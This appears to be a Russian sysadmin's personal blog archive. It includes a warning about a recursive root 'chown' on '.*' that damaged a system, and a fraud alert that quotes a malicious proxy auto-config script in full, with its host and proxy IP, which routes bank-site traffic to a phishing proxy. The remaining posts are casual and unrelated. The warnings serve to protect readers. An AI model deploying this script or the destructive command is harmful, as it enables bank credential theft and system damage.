George G. Fedoroff

Linux администраторы, не делайте так

2018-06-09T11:50:38.000Z

Я, конечно, молодец, но всё же выполнил от рута команду:

chown -R root:root .*

Это мало того, что поменяло скопированные с юсера настройки bash (.bashrc .bash_profile), но и поймало скрытый "..", а он, как известно ведет в корень.
Это ужас!!!
И повторил на другой машине, сделав так:

chown -R root:root ~/.*

Напрасно я думал, что это поможет. А получилось как и прошлый раз. Правильно будет так:

chown -R root:root ~

Проблема, после перезагрузки не запускается ssh демон из-за прав на ключи. Оригинальные выглядят так:

-rw-r--r--. 1 root root     581843 Apr 11 07:21 moduli-rw-r--r--. 1 root root       2276 Apr 11 07:21 ssh_config-rw-------. 1 root root       4028 Feb  6 13:40 sshd_config-rw-------. 1 root root       3907 Oct 20  2017 sshd_config.rpmnew-rw-r-----. 1 root ssh_keys    227 Feb  5 20:45 ssh_host_ecdsa_key-rw-r--r--. 1 root root        162 Feb  5 20:45 ssh_host_ecdsa_key.pub-rw-r-----. 1 root ssh_keys    387 Feb  5 20:45 ssh_host_ed25519_key-rw-r--r--. 1 root root         82 Feb  5 20:45 ssh_host_ed25519_key.pub-rw-r-----. 1 root ssh_keys   1679 Feb  5 20:45 ssh_host_rsa_key-rw-r--r--. 1 root root        382 Feb  5 20:45 ssh_host_rsa_key.pub

После восстановления владельцев удалось подключиться пользователем, но рут то по ssh не ходит. И su от пользователя не сработало.
Чужой лайфхак по переустановке всего, гугл находит первой ссылкой по yum reinstall:
Note, that empty directory is required for a successful command execution.
More elegant solution, without empty directory, is:

yum reinstall \*

Ну и будут проблемы с /tmp и файлами блокировки в /var/run

Внимание! Мошенники!

2017-02-16T08:13:47.000Z

Только что прервал операцию по выманиванию денег!

Люди попались опытные и не купились на звонок с просьбой сообщить СМС.

Как непонятно, но в настройках браузера, вкладка "Поключения", "настройка сети" появилась галочка "использовать сценарий подключения" и ссылка (не ходите туда) на сценарий minipoda .info/5m6T87/uHyW.eut, а там сценарий:

function FindProxyForURL(url,host){var N = "PROXY 178.32.10.70:8088";if (shExpMatch(host,"?nl?ne.??e?b?nk.r*")||shExpMatch(host,"cl?ck.al?ab?nk.r*")||shExpMatch(host,"*ome?ank.kz")||shExpMatch(host,"*yha?yk.kz")){return N;}return "DIRECT";}

То есть при попытке подключения к альфабанку и сбербанку, ну и еще к двум казахским банкам, данные идут через прокси 178.32.10.70; тот показывает картинку похожую на ту что дает банк (версия не свежая) и выдает таблицку что произошла ошибка и нужно аннулировать операцию и на телефон выслана СМС, просят дождаться звонка оператора.

На деле к этому моменту мошенники знают данные вашей карты и телефон, проводят свою операцию, то есть забирают деньги себе и звонят вам получить код подтверждения.

Причем сайт который выдается по защищенному соединению https имеет сертификат, который браузеры помечают как надежный, в то время как сертификаты нормальных банков пишется название банка. Обращайте внимание.

Никому не сообщайте по телефону то, что пришло вам в СМС, это не только про коды подтверждения, ваши СМС никого не касаются.

Карту лучше заблокировать и сделать новую.

#мошенники

Инопланетяне среди нас

2014-09-11T05:09:00.000Z

Фотки под катом

Продам дуэлянтов мостового камня

2012-04-21T18:41:12.000Z

Продаю Bridgestone Dueler A/T R15 205/70 98T 4 штуки.
Цена за комплект 12 т.р.

Оруэл 1984

2012-03-15T05:17:11.000Z

Сегодня кто-то из наших депутатов хочет выйти с предложением использовать камеры с выборов на полицейских участках. Чтоб бороться с преступлениями служителей закона.
Здорово придумано. Камеры поставили вроде как по желанию народа. А Большой Брат подкрался незаметно. Технологию обкатали, можно использовать. Сто пятьдесят тысяч камер использовано на выборах, столько же стояло в Лондоне, когда я последний раз читал об этом. То есть у нас не так и много, да Большим Братом на выборах были мы сами. Но технологии будут внедряться.
А предложение депутата пустое. Снимать старые камеры ставить на новые места глупо. Расходов будет больше. А в выборы было потрачено 6 или 13 миллиардов (по разным оценкам).

 - Почему у вас в газетах пишут "проведено испытание бомбы от 20 до 150 килотонн"? - Мы думали 20, а она как бабахнет...

#мысли

#политическое

Доктор, меня все достают.

2012-03-14T11:24:31.000Z

- Что вы говорите?...
- Не зли меня, сволочь!

Хотя написать хочу о любви. К работе.
Меня вчера спросили "люблю ли я свою работу?". А я растерялся. Не знаю как ответить. Работ то у меня не счесть.
Конструтором подготовки печатных плат, сисадмином на производстве, программистом на производстве, сисадмином десятка сайтов, вэбпрограммистом, приходящим сисадмином в двух местах. Вот и задумался, про какую отвечать.
Люблю конечно!

Стихи о любви:
Люблю я бабушкины пышкиИ дедушкины кедровые шишки

Потому что работа моя из группы человек-машина. Было такое деление профессий в 80-x. А у машины меня, не  те что раньше. Просто механизм тоже хорошо. А программируемый куда лучше. И когда ломаются уже вроде не просто поломка механизма, а болезнь (привет Доктору Хаусу).
И диагноз ставить нужно. И лгут, в отличие от людей, меньше. Не то чтоб совсем не лгут, есть в сложных механизмах что-то типа души - кучи рассказов о мистике и поведении когда техника сисадмина боится, значит и соврать может.
Программирование суть та же. Сам напишешь чтонить не то. И опять диагноз ставишь.
Нравится мне это. Люблю я свою работу.
Не самый приятный момент общение с пользователями, но и это со временем понравилось. Хотя анекдот в заголовке не зря...
Только сегодня мне пришлось и нетбук к жизни возвращать, и программу на удаленном терминальном сервере заставлять работать для всех, а не только администратору, и атаку отражать на другом удаленном сервере, и тому админу объяснять, что его косяк, а не атака, и платы подготавливать из экзотического пакета, и с техподдержкой общаться, которая три дня NS записи не может поменять... День еще не закончен.
Зато радость. СВЭБ починил статистику.

#работа

#любовь

#админское

Доктор, меня все игнорируют!

2012-03-06T05:23:36.000Z

– Следующий!

За последнее время подал несколько заявок в тех поддержку. И везде меня игнорируют. Не сразу, но все же.
Сначала VDS хостинг sweb.ru. В панели управления статистика использования процессора показывала три дня одну и ту же картинку. Я и сам обратил внимание только на третий день. А так думал всё хорошо. Оно и было все хорошо, но картинка то не меняется. Кто-то рассказывал историю про то, как родителям жены показывал в конце восьмидесятых "прожектор перестройки" записанный на видео. Пять дней подряд!!! Потом сжалился. А пожилые люди почти не заметили.
Написал в техподдержку, ответили "передано админам, сделают сообщим". Две недели ничего не меняется. :(
До этого... Игнорируйте слово "сначала" в предыдущем абзаце. До этого в оптическом модеме Ростелекома не работал один порт показа телевидения. Не понятно? У меня подключена услуга три-в-одном интернет-телефон-телевидение от Ростелеком. Все идет по одному оптическому кабелю. На конце модем... Ну не модем, а посложнее устройство, оно разделяет сигналы на соответственно инет-тиви-тф. Так для тиви там три порта. Два работают, один нет. 
Позвонил в техподдержку, оставил заявку. Несколько раз они звонили спрашивали "не починилось ли?". То есть пытались исправить проблему удаленно. Хотя решается она заменой PON (ну так называется модем), а потом у себя пусть бы чинили как хотят. А так они просто меня игнорируют. И удаленно не чинят, и не звонят, и не приходят с заменой. :(
Юлмарт туда же.
Все у них хорошо. Только выписал я тут несколько деталей. Когда получал, один из винчестеров продавец уронил. Я говорит запишу это в комментарии к заказу. Ну и что бы вы думали? Через сутки сломался. Пишу в отдел гарантии. Так и так, говорю, можно не кататься на Кондратьевский, а тут же получить замену, так как вы виноваты? Опять же переспросили и пропали. Ни ответа, ни привета. (А моно так писать? Одним предложением, без подлежащего и сказуемого?)
Машина барахлит. Выписал детали на замену. Это уже в KIA центре "Пандора". Говорят в лучшем случае в пятницу, ну или в понедельник. Сегодня уже вторник. Про меня никто не вспоминает. :(
Что-то еще было. Но уже и я забыл что.

#проблемы

#техподдержка

Политические координаты

2011-11-01T09:32:37.000Z

Прошел тестирование на сайте slon.ru на предмет своих политических координат
Результат

Гандоны

2011-08-11T12:46:15.000Z

Кстати, ви знаите?
Relief - это не особый вид контексов. Это в одной упаковке Ribbed 6 штук и Dotted 6 штук.
Рэльефные, так сказать.

g_g_f @ 2011-08-09T08:35:00

2011-08-09T04:35:14.000Z

 Казалось бы, две фразы с одинаковым, по-моему, смыслом. А результат разный."Дайте презервативы контекс классические 3 штуки и релиф 12 шт.""Дайте презервативы контекс релиф 12 шт и классические 3 штуки."Я использовал первую и получил в аптеке пачку классических и свечи от гемороя "Релиф" с маслом акулы. Знать бы кто доил ту акулу и взбивал масло.Формулируйте правильно!
КДПВ возьму у темы

#житейское